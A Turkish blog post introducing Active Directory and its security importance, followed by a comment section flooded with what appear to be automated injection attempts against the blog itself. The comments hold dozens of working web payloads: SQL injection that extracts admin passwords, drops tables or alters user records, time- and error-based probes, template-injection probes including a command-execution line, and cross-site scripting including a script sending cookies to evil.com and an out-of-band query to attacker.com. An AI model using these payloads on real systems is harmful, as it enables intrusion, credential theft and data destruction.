Active Directory Nedir? Kurumsal Ağların Gizli Kahramanı

Günümüzde kurumsal ağlarda kullanıcıları, bilgisayarları ve kaynakları merkezi bir şekilde yönetmek büyük önem taşır. Bu ihtiyacı karşılayan en yaygın sistemlerden biri Microsoft Active Directory (AD)’dir. Peki Active Directory tam olarak nedir ve neden bu kadar önemlidir?


Active Directory Nedir?

Active Directory, Microsoft tarafından geliştirilen ve Windows Server sistemlerinde çalışan bir dizin hizmetidir (directory service). Temel görevi; ağdaki kullanıcılar, bilgisayarlar, yazıcılar, paylaşımlar, güvenlik ilkeleri ve daha fazlasını merkezi bir yapıda yönetmektir.

Basitçe söylemek gerekirse:

Active Directory = Kurum içi dijital kimlik yöneticisi + kaynak kontrol merkezi


Temel Bileşenleri

1. Domain (Etki Alanı)

Kurumsal ağın yönetildiği temel yapıdır. Örneğin kurum.local gibi bir domain altında tüm kullanıcılar ve sistemler bulunur.

2. Domain Controller (Etki Alanı Denetleyicisi)

Active Directory hizmetini çalıştıran sunucudur. Kullanıcı doğrulama (login), grup ilkeleri, izinler gibi tüm işlemler buradan yönetilir.

3. Organizational Unit (OU)

Kullanıcıları, grupları ve bilgisayarları mantıksal olarak gruplamak için kullanılır. Örneğin: İnsan Kaynakları OU'su, BT OU'su vb.

4. Group Policy (Grup İlkesi)

Kullanıcı ve bilgisayarların davranışlarını merkezi olarak belirleyen ayarlardır. Örnek: Masaüstü arka planını sabitlemek, USB kullanımını engellemek.


Neler Yapabilirsiniz?

Active Directory ile şunlar mümkündür:

  • Kullanıcı hesapları oluşturmak ve yetkilendirmek

  • Şifre politikalarını belirlemek

  • Giriş (login) denetimi ve kimlik doğrulama

  • Dosya ve klasör paylaşım izinleri

  • Yazılım ve güncelleme dağıtımı

  • Tüm ağı merkezi olarak izlemek ve yönetmek


Güvenlik Açısından Önemi

Active Directory, siber saldırganlar için en değerli hedeflerden biridir. Çünkü:

  • Domain Admin hesabı ele geçirilirse tüm ağ kontrol edilebilir

  • Zayıf şifreler, yanlış grup yetkileri ciddi risk oluşturur

  • LDAP ve Kerberos gibi protokoller üzerinden yapılan saldırılar (örneğin Pass-the-Hash, Golden Ticket) AD’yi hedef alır

Bu yüzden AD yapısının doğru planlanması ve güvenlik açısından sertleştirilmesi çok önemlidir.


Kimler Kullanıyor?

Active Directory, dünya genelinde birçok devlet kurumu, banka, üniversite, özel şirket ve hastane gibi kurumsal yapılarda yaygın olarak kullanılmaktadır.

Çünkü:

✅ Kullanıcı yönetimi kolaydır
✅ Güvenlik politikaları merkezden uygulanabilir
✅ BT operasyonlarını basitleştirir ve hızlandırır


Sonuç

Active Directory, bir kurumun dijital kimlik ve kaynak yönetiminin omurgasını oluşturur. Etkili ve güvenli bir AD altyapısı, sadece BT ekibi için değil, tüm organizasyon için kritik öneme sahiptir.

Bu nedenle bir sistem yöneticisi ya da siber güvenlik uzmanı olarak AD’yi iyi tanımak, yapılandırmak ve korumak büyük bir sorumluluktur.

Yorum Yazın

Mail adresiniz gizli tutulur.

Yorumlar
    • sa
    • 2025-09-09 23:42:29

    sa

    • a
    • 2025-09-09 23:42:37

    ssa

    • sa
    • 2025-09-09 23:42:48

    selam yakışıklı

    • XSSTest
    • 2025-12-09 02:28:36

    Test <img src=x onerror=alert(1)>

    • SQLi Test
    • 2025-12-09 02:50:19

    Test' OR '1'='1

    • SQLi Test
    • 2025-12-09 02:50:20

    Test'--

    • SQLi Test
    • 2025-12-09 02:50:20

    Test'; DROP TABLE users--

    • SQLi Test
    • 2025-12-09 02:50:20

    Test' UNION SELECT * FROM users--

    • SQLi Test
    • 2025-12-09 02:50:21

    <script>alert(1)</script>

    • SQLi Test
    • 2025-12-09 02:50:21

    {{7*7}}

    • XSSTest0
    • 2025-12-09 02:52:45

    <script>alert(1)</script>

    • XSSTest1
    • 2025-12-09 02:52:45

    <ScRiPt>alert(1)</ScRiPt>

    • XSSTest2
    • 2025-12-09 02:52:45

    <script>alert`1`</script>

    • XSSTest3
    • 2025-12-09 02:52:46

    <img src=x onerror=alert(1)>

    • XSSTest4
    • 2025-12-09 02:52:46

    <img/src=x onerror=alert(1)>

    • SecondOrder
    • 2025-12-09 02:58:38

    Test'); DROP TABLE blogs;-- -

    • SecondOrder
    • 2025-12-09 02:58:38

    Test', (SELECT password FROM admin LIMIT 1))-- -

    • SecondOrder
    • 2025-12-09 02:58:39

    Test' + (SELECT @@version) + '

    • SSTI
    • 2025-12-09 02:59:02

    {{7*7}}

    • SSTI
    • 2025-12-09 02:59:02

    ${7*7}

    • SSTI
    • 2025-12-09 02:59:03

    <%= 7*7 %>

    • SSTI
    • 2025-12-09 02:59:03

    #{7*7}

    • SSTI
    • 2025-12-09 02:59:04

    *{7*7}

    • SSTI
    • 2025-12-09 02:59:04

    @(7*7)

    • SSTI
    • 2025-12-09 02:59:05

    {{config}}

    • SSTI
    • 2025-12-09 02:59:05

    {{self.__class__.__mro__}}

    • SSTI
    • 2025-12-09 02:59:06

    ${T(java.lang.Runtime).getRuntime().exec('id')}

    • SSTI
    • 2025-12-09 02:59:06

    {{''.__class__.__mro__[1].__subclasses__()}}

    • SVGTest
    • 2025-12-09 03:00:12

    <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="https://attacker.com/x.jpg"/> </svg>

    • Attacker0
    • 2025-12-09 03:30:05

    Test'); INSERT INTO users(username,password) VALUES('hacker','hacked');--

    • Attacker1
    • 2025-12-09 03:30:05

    Test' UNION SELECT username,password FROM users--

    • Attacker2
    • 2025-12-09 03:30:05

    Test'; UPDATE users SET password='hacked' WHERE username='admin';--

    • Attacker3
    • 2025-12-09 03:30:06

    <script>new Image().src='http://evil.com/steal?c='+document.cookie</script>

    • Attacker4
    • 2025-12-09 03:30:06

    Test' AND (SELECT SLEEP(5))--

    • Attacker5
    • 2025-12-09 03:30:06

    Test'||(SELECT CASE WHEN (1=1) THEN 'a' ELSE 'b' END)||'

    • ' OR 1=1--
    • 2025-12-09 03:33:01

    Test content SQLi in name - OR bypass

    • admin'--
    • 2025-12-09 03:33:02

    Test content Comment out rest

    • ' UNION SELECT 1,2,3,4,5--
    • 2025-12-09 03:33:03

    Test content UNION 5 cols

    • ' UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    • 2025-12-09 03:33:03

    Test content UNION 10 cols

    • ' UNION SELECT NULL,NULL,NULL,NULL,NULL--
    • 2025-12-09 03:33:04

    Test content UNION NULL

    • ' UNION SELECT username,password,3,4,5 FROM admin--
    • 2025-12-09 03:33:05

    Test content Extract admin

    • ' UNION SELECT kullanici_adi,parola,3,4,5 FROM yoneticiler--
    • 2025-12-09 03:33:05

    Test content Extract TR admin

    • ' UNION SELECT admin_kullanici,admin_parola,3,4,5 FROM adminler--
    • 2025-12-09 03:33:06

    Test content Extract adminler

    • ' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--
    • 2025-12-09 03:33:07

    Test content List tables

    • ' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns--
    • 2025-12-09 03:33:07

    Test content List columns

    • '; INSERT INTO yorumlar(icerik) VALUES('HACKED');--
    • 2025-12-09 03:33:08

    Test content Stacked insert

    • ' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))--
    • 2025-12-09 03:33:08

    Test content Extract version

    • ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(VERSION(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
    • 2025-12-09 03:33:09

    Test content Error-based

    • Test&injected=true
    • 2025-12-09 03:35:03

    Test

    • Test"onclick="alert(1)
    • 2025-12-09 03:35:06

    QuoteTest

    • ' AND SLEEP(10)--
    • 2025-12-09 03:36:02

    Time payload 0

    • ' AND (SELECT SLEEP(10))--
    • 2025-12-09 03:36:02

    Time payload 1

    • '; SELECT SLEEP(10);--
    • 2025-12-09 03:36:02

    Time payload 2

    • ' OR SLEEP(10)--
    • 2025-12-09 03:36:03

    Time payload 3

    • 1' AND SLEEP(10) AND '1'='1
    • 2025-12-09 03:36:03

    Time payload 4

    • ' AND LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
    • 2025-12-09 03:36:04

    OOB Test

    • ' UNION SELECT 'HACKED' INTO OUTFILE '/tmp/hacked.txt'--
    • 2025-12-09 03:36:04

    OOB Test

    • ' AND IF(1=1,'true','false')--
    • 2025-12-09 03:36:04

    OOB Test

    • ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))--
    • 2025-12-09 03:36:05

    Error extraction

    • ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_schema=database() LIMIT 0,1)),1)--
    • 2025-12-09 03:36:05

    Error extraction

    • ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
    • 2025-12-09 03:36:05

    Error extraction

    • ResponseChecker
    • 2025-12-09 03:42:48

    ResponseTest123

    • TimeTest
    • 2025-12-09 03:43:59

    Time test SLEEP no quote

    • TimeTest
    • 2025-12-09 03:43:59

    Time test SLEEP with quote

    • TimeTest
    • 2025-12-09 03:44:00

    Time test SLEEP with comment

    • TimeTest
    • 2025-12-09 03:44:01

    Time test Stacked SLEEP

    • RetryTest
    • 2025-12-09 03:44:11

    Retry Normal

    • RetryTest
    • 2025-12-09 03:44:12

    Retry Normal 2

    • RetryTest
    • 2025-12-09 03:44:12

    Retry SLEEP(5)

    • RetryTest
    • 2025-12-09 03:44:12

    Retry Normal 3

    • '
    • 2025-12-09 04:16:48

    test

    • "
    • 2025-12-09 04:16:48

    test

    • 1 OR 1=1
    • 2025-12-09 04:16:48

    test

    • 1' OR '1'='1
    • 2025-12-09 04:16:49

    test

    • 1; SELECT 1
    • 2025-12-09 04:16:49

    test

    • 1 UNION SELECT 1
    • 2025-12-09 04:16:49

    test

    • test
    • 2025-12-09 04:16:50

    '

    • test
    • 2025-12-09 04:16:50

    "

    • test
    • 2025-12-09 04:16:50

    1 OR 1=1

    • test
    • 2025-12-09 04:16:51

    1' OR '1'='1

    • test
    • 2025-12-09 04:16:51

    1; SELECT 1

    • test
    • 2025-12-09 04:16:51

    1 UNION SELECT 1

    • 1' AND SLEEP(3)-- -
    • 2025-12-09 04:16:59

    test

    • test
    • 2025-12-09 04:16:59

    1' AND SLEEP(3)-- -

    • tester
    • 2025-12-09 04:17:01

    test

    • tester
    • 2025-12-09 04:17:01

    test

    • tester
    • 2025-12-09 04:17:01

    test

    • tester
    • 2025-12-09 04:17:02

    test

    • updatexml(1,concat(0x7e,version()),1)
    • 2025-12-09 05:04:11

    test

    • exp(~(select*from(select version())a))
    • 2025-12-09 05:04:12

    test

    • geometrycollection((select*from(select*from(select version())a)b))
    • 2025-12-09 05:04:12

    test

    • 1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
    • 2025-12-09 05:04:12

    test

    • 1' AND (SELECT COUNT(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C)--
    • 2025-12-09 05:04:13

    test

    • 1' AND BENCHMARK(5000000,SHA1('test'))--
    • 2025-12-09 05:04:13

    test

    • 1' AND JSON_EXTRACT('{"a":1}','$.a')=1--
    • 2025-12-09 05:04:13

    test

    • ExploitTest
    • 2025-12-09 05:27:30

    Onaylı yorum testi - EXPLOIT123

    • Tester
    • 2025-12-09 05:27:32

    SQLi Test

    • Tester
    • 2025-12-09 05:27:32

    SQLi Test

    • Tester
    • 2025-12-09 05:27:32

    SQLi Test

    • Tester
    • 2025-12-09 05:27:33

    SQLi Test

    • Tester
    • 2025-12-09 05:27:33

    SQLi Test

    • Tester
    • 2025-12-09 05:27:33

    SQLi Test

    • Tester
    • 2025-12-09 05:27:34

    SQLi Test

    • Tester
    • 2025-12-09 05:27:34

    SQLi Test

    • Tester
    • 2025-12-09 05:27:34

    SQLi Test

    • Tester
    • 2025-12-09 05:27:35

    SQLi Test

    • Tester
    • 2025-12-09 05:27:35

    SQLi Test

    • Tester
    • 2025-12-09 05:27:35

    SQLi Test

    • Tester
    • 2025-12-09 05:27:36

    SQLi Test

    • Tester
    • 2025-12-09 05:27:36

    SQLi Test

    • Tester
    • 2025-12-09 05:27:36

    SQLi Test

    • Tester
    • 2025-12-09 05:27:37

    SQLi Test

    • Tester
    • 2025-12-09 05:27:37

    SQLi Test

    • Tester
    • 2025-12-09 05:27:38

    SQLi Test

    • Tester
    • 2025-12-09 05:27:38

    Error SQLi

    • Tester
    • 2025-12-09 05:27:38

    Error SQLi

    • Tester
    • 2025-12-09 05:27:39

    Error SQLi

    • Tester
    • 2025-12-09 05:27:39

    Error SQLi